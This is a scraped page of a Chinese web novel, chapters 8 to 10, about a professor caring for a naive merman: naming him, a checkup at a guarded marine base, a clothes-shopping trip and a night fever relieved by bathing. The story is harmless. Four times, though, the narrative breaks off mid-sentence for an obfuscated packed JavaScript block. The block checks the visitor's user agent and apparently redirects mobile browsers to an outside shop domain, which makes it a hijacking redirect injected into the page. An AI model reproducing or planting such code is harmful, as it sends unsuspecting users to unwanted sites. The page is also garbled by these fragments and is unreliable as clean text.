于是垂眸看向纸面上的墨字,他再度提笔,在最后一个字边补上了偏旁。 俩学生打闹间隙,看到了教授的动作,渐渐消停了下来。 石巍轻声感慨,“教授给小鱼起名字的表情,让我想到了一个词。” “什么词?” “父爱如山。” “……” 常雨霖的白眼翻上天,随后又轻笑起来。 “你笑什么?”石巍问。 常雨霖莞尔道:“教授先前还提醒我们别给小鱼起昵称,怕以后有感情……结果呢?现在自己更超过,甚至给起了大名。” * 把俩学生赶回去睡觉后,关路远独自回到卧室门口。 进屋前,他往隔壁房间瞥了眼。 窗内没有亮灯,黑黢黢的,里头也没有声响,静悄悄的。 应该是睡了。 名字,就等明天再说吧。 关路远这么想着,开门进了屋。 素有“阎王”美誉的关教授,对他的学生有着这样的评价: 很怕自己。怕到跟他面对面说话时,恐惧得就像在上坟。 偏偏又怕又要找死。没事就来折腾他,就像喜欢坟头蹦迪。 宿舍楼的底层均分给学生们的面积虽然不特别大,但也不逼仄,功能也都齐全。 可有些皮痒的学生,非要上来教授的楼层,蹭电视蹭书房蹭健身器材…… 然后被教授抓现行时再瑟瑟发抖。 关路远神经衰竭,觉很浅,屋里有白噪音都能让他难以入眠。 所以他的卧室两边屋子特地空出来,连仓库都不是,什么也没放,学生们再怎么欠揍,也不会去空房间刺激教授的神经。 可现在,其中一间,成了小人鱼的新卧室。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205093|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 关路远平日睡觉必戴耳塞套眼罩,哪怕没声音没光线,缺了这些步骤他也很难睡着。 可这一晚,他特地没塞耳塞。 于是,不知哪里传来的细微电流音,就吸引了他所有的注意。 让他格外清醒。 是哪里的声音?是什么声音? 好像是隔壁楼邻居的发电机。 这个更遥远的,应当是村镇里的工厂吧。 关路远戴着眼罩辨认着,直到,在这些细微的响动里,听到些片段的噪音。 啪嗒。 呜。 这回的声音很近,仅一墙之隔。 关路远坐起来,摘了眼罩,静静听了会儿。 确定隔壁屋再次传来窸窣动静,关路远才掀了被子,起身出门。 叩叩。 他叩响门扉。 里头很快传来小青年清爽的声音,一声疑惑的“嗯?”。 “是我。”关路远出声,“我进去了。” “好。” 开门,室内无灯。 另一侧的小窗透进来月光,勾勒床上一小团蜷着的身体。 “闭眼。我开下灯。”关路远说。 床上的人似乎照做了,点头轻应一声。 灯亮了。 光线依旧刺进小人鱼的眼缝,扎得人皱了皱眼皮。 长长的睫毛忽闪一下,看起来有点可怜。 “怎么还不睡?”关路远声音不自知放轻。 小人鱼缓缓睁眼,眼前一片水雾,“我饿。” 关路远:“……” 是他疏忽了。 今天一整天确实没给人喂什么东西。 “等我。” “好。” 关路远转身进了厨房。 万能的关教授,为数不多的缺点之一,就是他的厨艺。 为了避免喝夹生水,他与附近的食杂店建立了“长期供饮用水合作”,以至于他连基本的烧水技能都没学会。 毕竟科考遇到极端状况,为了活下去吃生肉都算幸运,火源和调味料就更是祖上积德的馈赠。 所以,关教授在学生们囤在此处的诸多款泡面香肠前,沉默了许久,最终只挑出了袋压缩饼干。 他看成分表:麸皮、大麦、米糠……蛋白质、脂肪、维生素…… 嗯,看起来是合格的鱼饲料。 怕噎到小人鱼,他又开了瓶水倒在杯子里,特地掺了点盐。 万幸的是,小人鱼很好养活。 饼干就着盐水,小青年也不挑,小口小口吃得津津有味。 见小人鱼吃得起劲,关路远本该离开,可鬼使神差地,他却拉了条凳子坐在床边,静静观察小人鱼的吃相。 深海鱼通常有着锐利的尖牙用以捕食,小人鱼如今却只有一副人类的牙齿,生得平且齐。 大概也是用不惯这副牙,小人鱼嗑饼干嗑得很谨慎,小口小口的,嗑下来一点就马上用后牙一下一下地碾。 腮帮子就反复地鼓起、放松,鼓起、放松。 关路远默默看着,想: 如果常雨霖和石巍在这里,看到这一幕,大概又要闹腾起来。 等小人鱼进食的频率变慢,关路远才适时开口:“我给你起了个名字,用以暂时在人类社会生存。” 小人鱼放下饼干,抬眼看过来。 琉璃般的眼眸在夜月下泛着期待的光。 “念西澄。” 关路远说。 “念、西……澄。” 小人鱼跟着重复。 这回,没有出现那种幻觉。 关路远舒一口气:看来,名字转译为人类的语言后,哪怕发音相似,也不会给人体造成影响。 “如果你喜欢这个名字,改天我教你怎么写……” “喜欢!” 没等关路远把话说完,小人鱼就兴冲冲地回应。 被打断,关路远竟也没有烦躁的感觉,抿了抿唇,喉间溢出一声“嗯”。 垂眸移开视线,可方才一瞥捕捉到的小人鱼眼中的喜悦,还残留在眼前。 很明亮。 等小人鱼吃完饼干,关路远丢了包装纸取了杯子,起身便走。 “等一下,关……教授。” 关路远顿足,回身。 小人鱼依旧趴坐在床面,笑起来,甜甜的,“晚安,教授。” 关路远眼睫扑窣,问:“你们人鱼也有道互晚安的习惯?” 小人鱼摇头,说:“没有。是那两个人后来跑过来补给我的。” 是指常雨霖和石巍。 “哦。” 小人鱼继续说:“她们说,睡前听到晚安,入眠就会有甜甜的梦。” 关路远刚想说,没有这回事。 就听见小人鱼软软的声线真诚道: “所以,教授也要有。” 8. 第 8 章 第二天一大早,常雨霖和石巍又上楼来看小人鱼。 俩学生满脸期待,就像第一天养小宠物次日迫不及待就要来贴贴的小屁孩。 结果还没敲门,二人就见关教授把小人鱼从卧室里抱出来。 而缩在人怀里的小鱼,还在系衬衫最顶上的扣子。 这一幕,有点引人遐想。 看得常雨霖的嘴角比AK还难压。 石巍则一脸懵,“教授,你要带小鱼去哪儿?” “我带念西澄去体检。”关路远说。 “这就叫上‘念西澄’了!”常雨霖笑眯眯凑近怀里的人,“所以,小鱼喜欢这个名字?” 得到了新名字的小人鱼,不,此时应当称其为念西澄更加妥当,他点点头,眼型弯弯的,像蓄着淡淡的笑意。 “嘶……”石巍摸下巴,“这就要带去体检了?幻视一些养宠物的流程。下一步该不会就是要打疫苗和绝育了吧!” “绝育?!”常雨霖惊呼,忙用手掩在念西澄耳侧,“小鱼可听不得这种话!” “早上我带他去海洋基地做个全身检查。”关路远瞥了眼俩学生,“下午,你俩带他去买新衣服。” “遵命!” “收到!” * 自宿舍楼出发,开车行出一段距离,愈远愈人迹罕至。 直至车行到海岸边的深山密林里,铁蒺藜围出一大块荒草空地,内里一排通体白色的矩阵厂房清晰可见。 喷着新漆的铁门顶头挂着牌,上书“海洋遗址研究基地”大字。 门口,数名身着暗色防暴服的守卫持枪站岗。 念西澄被关路远抱下车,越靠近那禁闭的栅栏大门,越心生恐惧,蜷在教授胸口的手不由得抓紧了毛衣的绒面。 “害怕?” 头顶传来男人平稳的低嗓,尾音略带疑问。 念西澄抬头,只能瞥见关教授硬朗的下颌线。 他点头,怕教授看不见,又补充个“嗯”。 “有我在。” 关路远只回了简单这三个字。 很平淡的语气,没有刻意耍帅的低沉,而是冷静地陈述事实。 似乎事实确实如此,只要“有他在”,便无需害怕。 停车场距大门有段距离,关路远抱着人走近时,守卫们提高了警觉。 等到关路远走近,看清其面孔,那群守卫才将斜握在胸口的枪挪开,颔首示意。 大门打开。 关路远几乎没出示任何证件,甚至没经过任何安检,便顺利抱着人进入了守卫森严的基地。 基地内的建筑,与小镇现有的相对原始的石头厝子,科技水平完全不同。 外墙上的瓷砖虽为白色,却会在阳光下泛着奇异的蓝荧光,令念西澄好奇地盯了许久。 “从此刻起,你要暂时对自己‘人鱼’的身份保密。”关路远突然说。 “嗯?”念西澄回眸,“为什么?” “不然会被……” 关路远理所当然要描述极少数群体在集体中的困境,可转念想到,以小人鱼目前的认知,大概率很难理解人类为何会有这样的特性。 思考时的沉默,在小人鱼听来有了别的理解,念西澄问:“不然会被关起来?” “……嗯。”关路远选择附和。 为人师表也不算打了诳语。 作为人类社会现知的疑似唯一活体人鱼,万一被科学院抓去研究,何尝不是另一种意义上的“关起来”。 “哦。”念西澄点点头,默默记住了。 小人鱼被关教授抱进正中的一处研究所,一路穿过幽静的长廊,最后进入其中一间实验室。 数个宿舍楼内前所未见的、带液晶大显示屏的精密仪表盘,表格面的数据实时跳动;盛着光泽各异液体的柱状培养仓里,内里养着些没见过的植物幼芽或动物胚胎。 看得念西澄张着嘴,半晌没回神。 “哟吼,关大教授居然对我这菜市场感兴趣?” 略显轻佻的男声响起,念西澄回头,看到一个眼型细长的白褂高个走过来。 那男人一眼看到关教授怀里的青年,不见外得凑近观察,又意味深长笑起: “还想问关教授是来我这儿买菜还是买肉,现在看来,是自带食材?说吧,想怎么吃?我会处理得很干净的。” “呜嗯……” 念西澄听不懂暗喻,但听得懂“吃”。 一听这人要吃自己,他呜咽一声,往关教授怀里钻得更深。 “没人想吃你培育的不知名物种。”关路远应了声,找了张升降床,将小人鱼放了上去,转身对白褂男说,“刘川柏,给这人做个全身检查。” 闻言,刘川柏的笑意一凛,故意重复了句废话,“这人看起来与人类特征并无差异。” “嗯。”关路远回应。 这一声应完,刘川柏也就不再多问。 他这间是生物研究室,是基地特地批给他这生物专家的实验场所。仪器多为科研用的超高精级别,给人类检查身体绰绰有余,但大可不必。 就像没人会用外科手术级的切割刀剁牛骨。 刘川柏很了解这位姓关的同僚,这人绝不会以权谋私,把亲友带来工作场合体检,只为省那点不足为道的费用或精力。 至于为何这陌生面孔非要被带来这里做检查,关路远没主动说,刘川柏也不打算问。 “贴片是你来还是我来?”刘川柏只问。 关路远看了眼还一脸懵懂的小人鱼,低头回了句,“我来吧。” 刘川柏进了监控的小间。 连接着管线的银白贴片被关教授捻在手中,他走到念西澄跟前,说: “衣服掀起来。” 教授这么命令,小人鱼就这么照做。 一点不反抗,手揪着衬衫的底部掀起来,大大方方露出白皙细嫩的胸膛。 “……” 关路远微蹙眉,指尖的贴片突然有点烫手。 他看向念西澄的脸,见人家表情还单纯天真,问: “我让你掀你就掀?” “啊?”念西澄歪头。 表情好像在说:不然呢? “别人让你掀衣服你也会掀吗?” “会。” “不行。” “啊?” 念西澄不懂,但还是乖乖把衬衫放下。 关路远将贴片放回身边的小桌上,说:“下次,要问人家让你掀衣服的目的。” “好。” 见小人鱼答应,关路远转身进了小间,去找刘川柏。 小人鱼眼看二人在大玻璃窗后说了几句话,随后刘川柏走了出来。 刘教授走过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205094|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑眯眯对小人鱼说: “把衣服掀起来。” 小人鱼这回长记性了,问:“为什么?” 刘川柏说:“因为我对你不怀好意。” “哦。”小人鱼点头。 然后还是老实把衣服掀了起来。 刘川柏:“……” 孩子很听话。 你就说他问没问吧。 教育之路任重道远啊! * 抽血化验、扫描检查、反应测试…… 一通系统性的检查,念西澄都格外配合,只有抽血扎针的时候被疼得掉了点眼泪,结果又被自己不是珍珠的泪水吓了一跳。 给小人鱼塞了颗出门前石巍想投喂但被教授拦截的糖,两个大人到边上研究报告结果。 “你的意思是,他的生物构造,与人类基本无异?”关路远问。 “是的。血型是罕见的P型血,国内分布频率低于百万分之一,比俗称‘熊猫血’的RhD(-)还要稀有,但也不是没有。” “嗯。” “神经系统正常,运动功能正常。腿部骨骼肌肉健全,膝跳反应正常,或出于心理因素无法正常使用。大脑发育程度与成人无异,但认知水平有差距,所以不能使用IQ量表来测智商。” “……”关路远继续翻着报告,没有说话。 “大哥,你在找什么?”刘川柏问。 “消化系统的相关数据。” “靠!”刘川柏睨他一眼,上手翻到相应页面,“我说这么多,结果你在意的只有‘孩子能吃什么’是吗?” “‘只有’这词有失偏颇。”关路远淡然回应,“寻找尚未提及的重点,不代表刘教授先前所说的就不是重点。” “就你最严谨!行了,总结就是,他和普通人类一样,是杂食动物。看动物消化系统的构造就能大致判断食性,肉食通常短直简单、草食通常冗长伴有分区,杂食则介于二者中间。这孩子没有草食动物的前胃,且胃部与肠道分别含有功能健全的微生物与消化酶……说白了,就是你能吃什么,他就能吃什么。至于挑不挑食,那就属于个性的范畴了。” “懂了。”关路远收起报告,“时候不早,我先送他回去。” “回来记得请我吃大餐!借了我这么多仪器,之后还得补个报告。” “嗯,建议你把补报告写在备注上,而不是让我提醒你。” “姓关的!我提醒的是你!” * 关路远把念西澄载回宿舍区时,常雨霖和石巍已经在楼下迎接了。 实在没有自信像教授那样一路公主抱还毫不心动,石巍选择了把小人鱼背在背后。 关路远翻出钱包夹,取出十张蓝紫色百元大钞。 “哇!一千元!”石巍双眼放光,“发财了!” 关路远一顿,选择把大钞塞进常雨霖手里—— “先带他吃饭,再去买衣服。已知他什么都能吃,但你可以测试他的忌口。以及他不喜热,现在冬天买反季的衣服不容易,可以给店家多塞点小费。” “好。”靠谱的常雨霖答应。 目送教授驱车离开,石巍回过味来: “你说,教授怎么能没情调成这样呢?” “嗯?” “本意是‘孩子喜欢啥就买啥’,他愣是描述出一种实验步骤的效果。” 9. 第 9 章 一千元巨款! 攥着十张大钞,常雨霖和石巍当即带着念西澄,去吃了顿大餐—— 汉堡可乐。 炸鸡薯条下肚,最后再吨吨吨可乐收尾,快乐就是如此纯粹。 对这个时代的年轻人而言,这种刚入驻国内的舶来品就是人间第一美味,但对小人鱼来说似乎并非如此。 汉堡拆成面包、肉、菜分别进食,还算吃得顺利。 然而含着吸管嘬一口可乐,念西澄当场皱着小脸,耸肩摇头。 常雨霖看他表情可怜又可爱,既心疼又好笑,温柔问: “是太冰了吗?” 念西澄摇头,手在喉咙上轻挠两下,像是想缓解内部的痒,“刮……嗓子。” “哦!”石巍领悟,“是不是碳酸太刺激了,小鱼嗓子眼还娇嫩,喝不了?” “有道理。” 两人当即给念西澄点了杯温牛奶。 这回,小人鱼喝着没什么障碍,双手捧着杯子,一小口一小口地抿。 托腮看着漂亮小人鱼喝奶的认真表情,年轻的俩学生突然有了种老父亲老母亲的满足感: “他好乖!我平时很烦娇气包,但小鱼娇气我就觉得没什么问题。” “什么娇气!失忆等于新生!才诞生第二天的小鱼,本来就是娇嫩的鱼宝宝!” * 饭后就到了最重要的环节:买衣服。 小镇的服装店不多,就那么三两家,镇子里住得久了,居民们和店主基本都认识。 俩学生挑了其中一家年轻人常光顾的,老板才三十出头,还没到喜欢大量进货碎花袄子的年纪。 本以为要在冬季买到夏装很艰难,谁知老板昨天也在海边现场,得知学生们是要给“传闻中的人鱼”添置新装,热情地到店后仓库翻出上季度囤积的轻装,供人挑选。 “嘿嘿,我小时候没条件买芭比娃娃,”常雨霖苍蝇搓手跃跃欲试,“现在终于能在小鱼身上弥补啦!” “小鱼确实跟芭比一样漂亮!”石巍也期待起来,“我也可以帮忙给他搭几套服装吗?” “好呀,你当然可以试试……石巍,我命令你把那件格子衬衫放下。” “哦。那这个……” “立领polo衫也不行!” 常雨霖戳着石巍额头,批判这愚蠢直男压根没把自己借他的时尚杂志看进去时…… 坐在摇摇椅里的念西澄看了一圈店里的衣服,突然问: “为什么要给我买衣服?” 常雨霖蹲在念西澄身边,耐心解释:“你现在这套不合身。况且每天都要换衣服,当然要多买几套备用。” “每天都要换衣服?”念西澄连惊讶时的声音都轻轻的,睁着眼睛张着嘴,表情呆呆的,“原来,我不是暂时先穿上衣服吗?” 习惯了穿着衣服的常雨霖被问得反直觉,片刻才回:“当然不是。” “那我要穿多久?” “要一直穿,小鱼。” “呜……”念西澄撇起嘴,有点委屈,“这是惩罚吗?我做错什么了吗?” 呃啊。 常雨霖和石巍皆听见了自己内心发出的痛苦呻-吟。 来自小人鱼的灵魂质问,让两个资历尚浅的学生无法回应—— 对呀,哪怕是童话里,美人鱼们也是不穿衣服的。 难道逼迫另一个种族强行适应人类的规则,真的是正确的吗? “不是惩罚,小鱼!我们很疼你的!真的!”常雨霖忙哄,“只是,你不穿衣服会遇到危险,而且也不能自由出门玩……总之,这些衣服,你可以挑喜欢的款式,什么都可以,好吗?” “你这话和允许他挑喜欢的颜色的麻袋,用来把他抓起来,有什么区别?”石巍吐槽。 “你会哄你来哄。” “对不起。” 念西澄虽然不懂人情世故,但也能判断出,眼前这两个年轻的人类,是先前那位雄性人类的下属。 命令是那个人下达的,眼前这两个人再好说话,也不敢擅自违抗。 这两个人类对自己很友善。 念西澄不想这两个人为难。 他只能听话,乖乖挑自己看着轻薄的服装,尽可能让自己舒服些。 转眼看到一条长款的布料,念西澄又叹了口气: “人类好奇怪。上面要穿这么长,下面也要穿,多热啊?” “长?”常雨霖注意到念西澄的视线,将他看着的服装拎起来,发现是一条裙子,解释,“这不是普通上衣,这是裙子。一般来说,我们穿了裙子,下面就不用穿裤子了。” 念西澄眼前一亮,“只穿裙子就好了?” “对。” “那我可以穿裙子吗?” “噗!……咳咳!” 饶有兴致欣赏了半天念西澄美颜的店主,被孩子天真无邪的问话逗笑,在常雨霖和石巍的瞪视中,抱歉赔笑先行离场。 “小鱼,裙子是女孩子穿的。”常雨霖继续解释。 “男孩子不能穿吗?”念西澄无辜问。 常雨霖:“……” 石巍:“……” 又是一个灵魂发问。 且不说现代人究竟有没有穿衣自由的权力…… 单说追溯历史,高跟鞋、丝袜、裙装,最初也都是为男人设计的! 更何况,常雨霖先前都放了话,小人鱼可以尽情挑自己喜欢的款式。 教育重在言传身教,怎么能言而无信! 古有曾父杀猪,今有常姐买裙! 孩子想穿,让他穿让他穿! * 关路远:“……” 念西澄:开心。 常雨霖&石巍:不敢开心。 “谁能跟我解释一下?” 看着小人鱼身上那条婀娜轻盈的蓝羽花纹长裙,关教授的嗓音听起来并不愉悦。 俩学生隐约明白自己闯了祸,但也不敢狡辩错上加错,只好硬着头皮强撑。 正当关路远准备再度开口,却感觉自己的袖口被拽了拽。 他低头,只见坐在床边的念西澄仰着头看他,轻声说: “是我想要裙子的。” 关路远又看向俩学生,问:“是吗?” 俩垂着脑袋的学生偷偷抬眼,确认教授的表情不像会苛责小人鱼,才放心点头。 “全买了裙子?” “也没有!”常雨霖忙指着床尾三袋衣服中的小袋,“这袋是裙子,小鱼可以在家里穿。”又指中袋,“这是夏装,短裤短袖,适合天气好的时候出门穿。”再指大袋,“这是秋装,长裤长袖但也轻薄,天气不好时小鱼在外边穿这些,不会显得太突兀。” 很周全的安排。 关路远实事求是,简单夸过两个学生,让他们先下楼了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205095|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目送学生们离开,关路远虚掩上房门,回身停在念西澄跟前。 小人鱼还在整理自己的裙摆,裙子的末端遮到小腿肚子上,露出两只赤着的轻晃的脚丫。 看起来很自在。 让人简直没脾气。 “为什么想要裙子?”关路远问。 念西澄抬头看过来,真诚回答:“这样就可以只穿一件了。” 不是因为癖好,不是因为好看。 而是因为能穿得少。 这样的回答虽然对人类而言乍一听很蹊跷,倒也符合人鱼一贯的思路。 关路远本没打算说什么,默默在脑内更新了认知,可视线余光瞥见床上小青年的一个动作,忽而眼眸一凝—— 他眼睁睁看着小人鱼把手伸到裙下,将一块小布条抽出来,丢到床尾。 “……念西澄,你刚才把什么脱掉了?” “内裤。” “……” 念西澄还没意识到自己做了在人类看来多么惊世骇俗的行为,依旧无辜地等着关路远继续说话。 向来镇定的关路远,此刻也难得提了一口气,憋着叹不出来。 极近克制的视线还是不受控地,从小人鱼平坦的胸口,快速往其腰腹下的位置扫了一眼。 “为什么?”关路远冷静问。 “因为常雨霖说了,穿裙子就可以不穿裤子。” “……你在外面也这样脱了?” 小人鱼摇头,“没有。石巍不让我脱。” “那你现在为什么还脱?” “石巍说,在外面不可以这样,要脱回家脱。” 关路远:“……” 鱼子汉大丈夫,说脱就脱。 说到做到的小人鱼还在那疑惑呢,“明明说了可以不穿裤子,难道内裤不算裤吗?” 小人鱼与人类的认知差,令关路远罕见地感到语塞。 不幸中的万幸,至少俩学生阻拦及时,没沾染上不太纯洁的回忆。 而这事也怨不得小人鱼,倘若对方真不是人类种族,确实不可能瞬间适应人类固有的道德和习惯。 “常雨霖忘了排除例外,内裤就是例外,确实不能脱。”关路远教育道。 念西澄问教授,“那石巍说,‘只要有人和你在一起,这玩意就必须焊死在身下’,也是真的?” “……” 倒是话糙理不糙。 关路远沉默片刻,想到给小人鱼解释卫生健康和羞耻观的原理,对方大概率又要听得云里雾里,像石巍这样直接画重点,不失为一种方法。 不过,石巍所说还是不够严谨,也没有排除例外。 无论是人类还是人鱼,总归还是有交-配的需求。 这种情况下哪怕与外人共处,也不可能完全不脱。 考虑到上午体检时,教了“别人让掀衣要先问原因”,这孩子就单线程到只问原因,且不管什么原因都依然听话照做…… 关教授便在脑内归纳,如何用最简明的语言,排除“交-配情况”例外的同时,渗透“慎重选择交-配对象”的意识。 就在这时,小人鱼苦恼地嘀咕起来: “真的要焊死,那也太疼了……” “……”关路远终于叹气,“那只是一种修辞。” 还是他关教授想得太深了。 眼下比起性教育,小人鱼的语文教育也迫在眉睫。 10. 第 10 章 睡前,该洗澡了。 鉴于上回小人鱼泡澡太久玩嗨了,甚至头栽水里潜着整起了花活。 这回,关教授严格限制了孩子玩水的时间,不到十分钟就进浴室把人捞了出来。 不管这孩子前身是什么,至少现在还是人类的躯体,临时监护人关路远就有义务保证小人鱼不把自己淹死。 “呜……”被包裹在浴巾里的念西澄还恋恋不舍,“不能再玩一会儿吗?” “不能。”关教授冷酷无情。 念西澄委屈地撇着嘴,眼看离关教授房间的浴缸越来越远,不甘心地再度努力,“我要怎样才可以再玩一会儿?” “今天你是别想了。” “为什么?” “你今天表现不好,没有资格讨价还价。” “呜……我哪里表现不好?” “乱脱-内裤。” 四个字说得侃然正色,没有半分狎昵的意味。 “可是我不知道不能这么做……就算这样也要罚我吗?” “沐浴十分钟是标准时长,我所做的仅仅只是‘没收奖励’,而非‘惩罚’。如果我要罚你,你今晚连十分钟都没有了。” 好难懂。 关教授的话让小人鱼皱起脸。 人类的话很难懂,小人鱼没听明白,只知道,反正因为乱脱-内裤,他是真不能玩水了。 晚上,关路远特地去杂货铺进了不同口味的面包和饼干,供小人鱼挑选。 但小人鱼不知道是不是闹脾气,硬是一眼不看这些干货,只挑了瓶玻璃罐的奶,插了吸管吸溜,一声不吭。 关路远观察了眼,见念西澄耷拉着眼皮不看他,也没说什么。 他那些学生中,不乏个别声称对他“忍无可忍”的,与他耍小性子,被他无视过后,三两天自己也就老实了,乖乖回来道歉继续学习。 关路远没有“哄小孩”的兴趣和习惯。 他自省今天的事自己没做错什么,那就问心无愧,随小孩耍性子去。 只是这晚入睡,关路远依旧没有戴上耳塞。 给小人鱼新搬的床,暂时靠隔壁的角落摆着,与他躺着的床仅一墙之隔。 老建筑的隔音效果一般,隔壁间动静大一点,关路远都能听见。 倒不是出于偷听的癖好,关路远没有这种窥探欲,不如说,他对所有人的隐私,哪怕只是八卦,都不感兴趣。 只是念西澄毕竟极高可能为非人物种,且尚未自主适应人类社会,哪怕是出于对稀有样本的观测需要,关路远也得适当干预,避免对方真把自己折腾死。 关教授的判断很有前瞻性。 果不其然,他刚阖眼有了些困意,便隐约听见了隔墙传来的细微呻-吟。 很细很细的声音,像是蚊吟,似是难耐而溢出的破碎之音。 听起来很可怜。 甚至有些脱力,虚弱得几乎让人难以捕捉。 关路远坐起,并未叹气,甚至有点习以为常。 他披好睡袍,转身去了隔壁。 敲门询问时,关路远并没得到屋内人的同意。 相反,他贴近门板,听到的是念西澄更加不适的呜咽。 大概是难受到连注意外界或回应的力气都没有了。 不再耽误,关路远径直推门入内。 月光照映之下,赤着身的小人鱼蜷在床上,被子在扑腾间被踢到地面。 关路远走过去,坐在床边。 床面因男人的体重陷下去,偏移平衡,床上痛苦呻-吟的人这才注意到有人靠近。 念西澄转身,与关路远对视。 哪怕没有开灯,仅凭月光,关路远也能观察到,小人鱼的眼眶湿润,面颊的皮肤泛着不自然的绯红。 关路远将手探过去,手背覆在念西澄额头,触到一手高热。 “你发烧了。” “呜……” 念西澄还是哽着,没力气出声。 这高温来得突然,白天一整日都好好的,关路远这才想起,念西澄是从浴缸出来后才消沉起来的。 这么想来,晚餐时挑食不说话,也不是故意耍性子,而是小人鱼真的不舒服。 “想要什么?”关路远声音温柔起来。 “……水……”念西澄艰难开口。 “我去倒。” 关路远当即倒了杯水来,但小人鱼却不想喝。 情绪稳定的教授又起身,去补了点海盐,回来要喂,小人鱼还是不想喝。 两次被拒,关路远也没恼,只耐心问:“不想喝?” “嗯……” “那想要水……”关路远反应过来,“是想进去泡着?” “嗯……”小人鱼用力点了点头,这次的嗡吟,听起来更加委屈。 难怪傍晚纠缠“想在水里多待会儿”那么久。 不是小人鱼贪玩,而是小人鱼的身体真的有需要。 二话不说,关路远利落回卧室在浴缸放好水,再回来将念西澄抱过去。 说来也蹊跷,上一秒还奄奄一息的小人鱼,一被放进水里,就当即生龙活虎起来。 仿佛刚才的虚弱,都只是关教授困蒙了的错觉。 关路远搬了条凳子,坐在浴缸边,默默盯着小人鱼皮肤绯红褪却的过程。 浴缸宽敞,容得下念西澄在里头游动。 嬉了会水,注意到教授的视线,小人鱼渐渐停下,小心解释: “我以为你不会来,所以才把衣服偷偷脱掉。” 居然惦记着这件事。 关路远略感讶异。 好消息,小人鱼开始有穿衣服的意识了。 坏消息,意识有些过剩了。 “独处时你本就没有义务穿衣服。今天我闯入是特殊情况,你没做错什么。” “不算我的错吗?”念西澄抿着嘴笑,“所以,你不会罚我。” “……” 关路远本想说,自己目前并没有罚过他。但制止其在水中多停留的确实是自己,也算是无意中给小人鱼造成了伤害。 “导致你缺水,抱歉。” “不是教授的错,为什么要道歉?” “嗯?” “教授又不知道我会缺水。” 小人鱼的逻辑很简单,不知者无罪。 既这样宽容自己,也这样宽容别人。 “不过,既然会缺水,为什么不提前说?” 念西澄游到关教授面前,手臂搭在浴缸边,仰头看着人。 “可是我也不知道自己会缺水。” “嗯?” “我当时只是有种感觉,得再玩会儿水。我也没想到,不玩会这么难受。” 果然,念西澄对自己现有的人体并不了解,更不用说适应。 加之其一入水便能恢复的异常反应,学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205096|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们所猜测的“他应该是一条刚变成人的人鱼”,如今更有了可信度。 “原来你真是人鱼。” 眼下再难以置信,关路远也不得不得出这样的结论。 “原来你一直没相信吗?”小人鱼歪头,表情懵懂。 “不是没相信过。人的感情与认知并不是非黑即白,而是持续累积的过程……” 见小人鱼的表情又因茫然呈现迷离,关教授收起惯用腔调,总结: “现在,我逐渐确信。” 语毕,低沉的尾音如投石落进水里。 水中的人恰到好处动了动身子,搅动波纹,发出清而响的声音。 二人无声对视着。 不同的种族,不同的认知。迥异的语言习惯,迥异的性格特征。 可这一眼的交流深度,却超过了这两天所有的话语。 小人鱼的眼眸流光溢彩,眼神太过纯净无垢,以至于让人生出点隐晦的自惭形秽。 关教授不动声色挪开视线,镇定问: “关于你的身份,你还记得什么?” “唔……我记得不多。”念西澄说,“我记得我的名字,记得我是人鱼,记得我以前有条很漂亮的大尾巴……别的,就记不得了。” “你说过,在你的族裔里,越高贵的血统,尾鳍越漂亮。” “嗯!”念西澄重重点头,“我的尾巴,是最漂亮的。” 最漂亮的? 如果所言非虚,套用人类旧有的封建体制,这孩子至少是人鱼中的皇族。 小人鱼说到这里,就没有下文了。 看来,确实记得不多。 已有的情报太少,关教授只觉棘手。 “该怎么对你才好……” 毕竟小人鱼连自己的身体有什么禁忌或喜好,自己都不清楚。 而听到这句感叹的小人鱼,不意外地又误解了教授的意思,还天真道: “就像现在这样就好啦!” “嗯?” “你可以教会我,也可以惩罚我。” 教会我。 惩罚我。 语气和声线都单纯的。 可所描述的,却是一种不自知的慷慨,一种毫无觉察的引诱。 关路远喉间一涩。 莫名感到一种压迫。 并不强势,绵里藏针的压迫。 难怪人类传说中的人鱼,总与魅惑的海妖形象挂钩。 “只保持现状,可能又会像刚才一样,导致你缺水。”关教授正经道。 “那就再把我放进水里不就好了?” 